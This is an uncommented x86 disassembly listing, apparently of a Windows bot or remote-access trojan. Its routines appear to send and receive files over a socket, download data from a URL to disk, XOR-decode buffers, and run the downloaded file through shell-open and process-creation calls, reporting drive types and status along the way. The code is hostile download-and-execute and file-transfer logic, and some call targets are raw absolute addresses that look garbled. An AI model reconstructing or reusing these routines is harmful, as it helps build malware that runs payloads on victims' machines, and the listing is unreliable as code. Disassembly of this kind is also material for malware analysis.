		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CAF5C
		test	eax, eax
		jg	short loc_415FFB
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437500
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		jmp	loc_41611F
; ---------------------------------------------------------------------------


loc_415FFB:				; CODE XREF: ___:00415FD9j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416034
		push	offset unk_4374DC


loc_416021:				; CODE XREF: ___:00415E63j
					; ___:00415EA1j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416122
; ---------------------------------------------------------------------------


loc_416034:				; CODE XREF: ___:0041601Aj
		push	edi
		call	dword_4CB00C
		cmp	[ebp+8], esi
		jz	loc_4160E6
		mov	edi, 400h


loc_416049:				; CODE XREF: ___:004160DDj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416056
		mov	[ebp-4], eax


loc_416056:				; CODE XREF: ___:00416051j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2790000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 2710000h
		nop
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CAFC4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CAF8C
		cmp	eax, ebx
		jl	loc_41617B
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617B
		sub	[ebp+8], eax
		jnz	loc_416049
		mov	edi, [ebp-18h]


loc_4160E6:				; CODE XREF: ___:0041603Ej
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2670858h
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_4374B0
		push	eax
		call	sub_41B886


loc_41611F:				; CODE XREF: ___:00415FF6j
		add	esp, 14h


loc_416122:				; CODE XREF: ___:0041602Fj
		cmp	[ebp-50h], esi
		jnz	short loc_416147
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 14h


loc_416147:				; CODE XREF: ___:00416125j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AC
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41615F
		push	edi
		call	dword_4CB00C


loc_41615F:				; CODE XREF: ___:00416156j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB00C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h


loc_41617B:				; CODE XREF: ___:004160C9j
					; ___:004160D4j
		push	esi
		mov	esi, offset dword_437498
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		push	esi
		call	sub_4151AC
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB00C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_4161BC:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 271092Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416246
		push	offset unk_437614
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_416246:				; CODE XREF: ___:0041623Dj
		push	eax
		call	near ptr 2670858h
		nop
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626E
		push	offset unk_4375E4
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_41626E:				; CODE XREF: ___:00416265j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_41629F
		push	offset unk_4375C4


loc_41628C:				; CODE XREF: ___:00416244j
					; ___:0041626Cj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639B
; ---------------------------------------------------------------------------


loc_41629F:				; CODE XREF: ___:00416285j
		mov	esi, 1000h


loc_4162A4:				; CODE XREF: ___:0041630Aj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAF8C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630C
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CAF70
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		jmp	short loc_4162A4
; ---------------------------------------------------------------------------


loc_41630C:				; CODE XREF: ___:004162D4j
		lea	eax, [ebp-4C4h]
		push	offset dword_437498
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	1
		nop
		call	near ptr 26F0000h


loc_41636B:				; CODE XREF: ___:004162CBj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_437598
		push	eax
		call	sub_41B886
		add	esp, 14h


loc_41639B:				; CODE XREF: ___:0041629Aj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C0
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		add	esp, 14h


loc_4163C0:				; CODE XREF: ___:0041639Ej
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DB
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx


loc_4163DB:				; CODE XREF: ___:004163D0j
		cmp	[ebp+8], ebx
		jbe	short loc_4163E9
		push	dword ptr [ebp+8]
		call	dword_4CB00C


loc_4163E9:				; CODE XREF: ___:004163DEj
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_4163F9:				; DATA XREF: sub_401ACD+6279o
					; sub_401ACD+6AB9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CAF24
		call	dword_4CAE78
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416885
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 271092Ch
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C0
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4377E0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A3
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4164A3:				; CODE XREF: ___:00416481j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h


loc_4164C0:				; CODE XREF: ___:00416461j
		xor	edi, edi
		call	near ptr 26A0B9Fh
		nop
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_4164DA:				; CODE XREF: ___:004165ADj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CAE80
		cmp	[ebp-34h], esi
		jz	short loc_41651E
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EB
		pop	ecx
		pop	ecx


loc_41651E:				; CODE XREF: ___:0041650Bj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 2700000h
		nop
		cmp	edi, ebx
		jnb	short loc_41655C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416546
		mov	eax, [ebp+8]


loc_416546:				; CODE XREF: ___:00416541j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_41655C:				; CODE XREF: ___:00416538j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416569
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B3


loc_416569:				; CODE XREF: ___:00416562j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416583
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4377B8
		jmp	short loc_416593
; ---------------------------------------------------------------------------


loc_416583:				; CODE XREF: ___:0041656Fj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437790


loc_416593:				; CODE XREF: ___:00416581j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43DCB0
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DA


loc_4165B3:				; CODE XREF: ___:00416567j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416608
		cmp	edi, [ebp-3Ch]
		jz	short loc_416608
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437764
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416608:				; CODE XREF: ___:004165BDj
					; ___:004165C2j
		nop
		call	near ptr 26A0B9Fh
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 2670858h
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416692
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416692
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_43773C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416692:				; CODE XREF: ___:0041663Aj
					; ___:0041664Cj
		cmp	[ebp-14h], esi
		jz	loc_4168D2
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678D
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_437704
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_41670D:				; CODE XREF: ___:004166EBj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D2
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CAEE0
		cmp	[ebp-30h], esi
		jnz	loc_4168D2
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_4376E8
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 24h
		jmp	loc_4168D2
; ---------------------------------------------------------------------------


loc_41678D:				; CODE XREF: ___:0041669Fj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_4376A4
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4167F5:				; CODE XREF: ___:004167D3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D128
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2670C08h
		cmp	eax, edi
		jnz	short loc_416877
		call	dword_4CAECC
		call	sub_418359
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416877:				; CODE XREF: ___:00416863j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437670
		jmp	short loc_416891
; ---------------------------------------------------------------------------


loc_416885:				; CODE XREF: ___:0041643Ej
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437644


loc_416891:				; CODE XREF: ___:00416883j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4168C5:				; CODE XREF: ___:004168A3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4168D2:				; CODE XREF: ___:00416695j
					; ___:0041671Ej ...
		push	dword ptr [ebp-18h]
		call	dword_4CAFA8
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop

; =============== S U B	R O U T	I N E =======================================



sub_4168EB	proc near		; CODE XREF: ___:00416517p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416907


loc_4168F7:				; CODE XREF: sub_4168EB+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F7

locret_416907:				; CODE XREF: sub_4168EB+Aj
		retn
sub_4168EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416908	proc near		; CODE XREF: sub_401ACD+5841p
					; sub_401ACD+5969p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416922	proc near		; CODE XREF: sub_40F96A+458p
					; sub_40F96A+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D2BA8
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416947:				; CODE XREF: sub_416922+5Bj
					; sub_416922+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416985
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416947
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416947
; ---------------------------------------------------------------------------


loc_416985:				; CODE XREF: sub_416922+4Bj
		dec	esi
		mov	eax, edi


loc_416988:				; CODE XREF: sub_416922+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416997
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416988
; ---------------------------------------------------------------------------


loc_416997:				; CODE XREF: sub_416922+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416922	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A1	proc near		; CODE XREF: sub_416B56+51p
					; sub_416B56+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFD4
		sub	eax, 0
		jz	short loc_4169E4
		dec	eax
		jz	short loc_4169DE
		dec	eax
		dec	eax
		jz	short loc_4169D8
		dec	eax
		jz	short loc_4169D2
		dec	eax
		jz	short loc_4169CC
		dec	eax
		jz	short loc_4169C6
		mov	eax, offset word_437834
		retn
; ---------------------------------------------------------------------------


loc_4169C6:				; CODE XREF: sub_4169A1+1Dj
		mov	eax, offset off_437830
		retn
; ---------------------------------------------------------------------------


loc_4169CC:				; CODE XREF: sub_4169A1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4169D2:				; CODE XREF: sub_4169A1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4169D8:				; CODE XREF: sub_4169A1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4169DE:				; CODE XREF: sub_4169A1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4169E4:				; CODE XREF: sub_4169A1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EA	proc near		; CODE XREF: sub_416A32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CAE64
		test	eax, eax
		jz	short loc_416A1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416A1F:				; CODE XREF: sub_4169EA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A32	proc near		; CODE XREF: sub_416B56+17p
					; sub_41AA42+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B42
; ---------------------------------------------------------------------------


loc_416B10:				; CODE XREF: sub_416A32+2Cj
					; sub_416A32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_416B42:				; CODE XREF: sub_416A32+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B56	proc near		; CODE XREF: sub_416C28+17p
					; sub_416C28+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BC9
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437884
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------


loc_416BC9:				; CODE XREF: sub_416B56+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437848
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h


loc_416BFD:				; CODE XREF: sub_416B56+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C28	proc near		; CODE XREF: sub_401ACD+2553p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
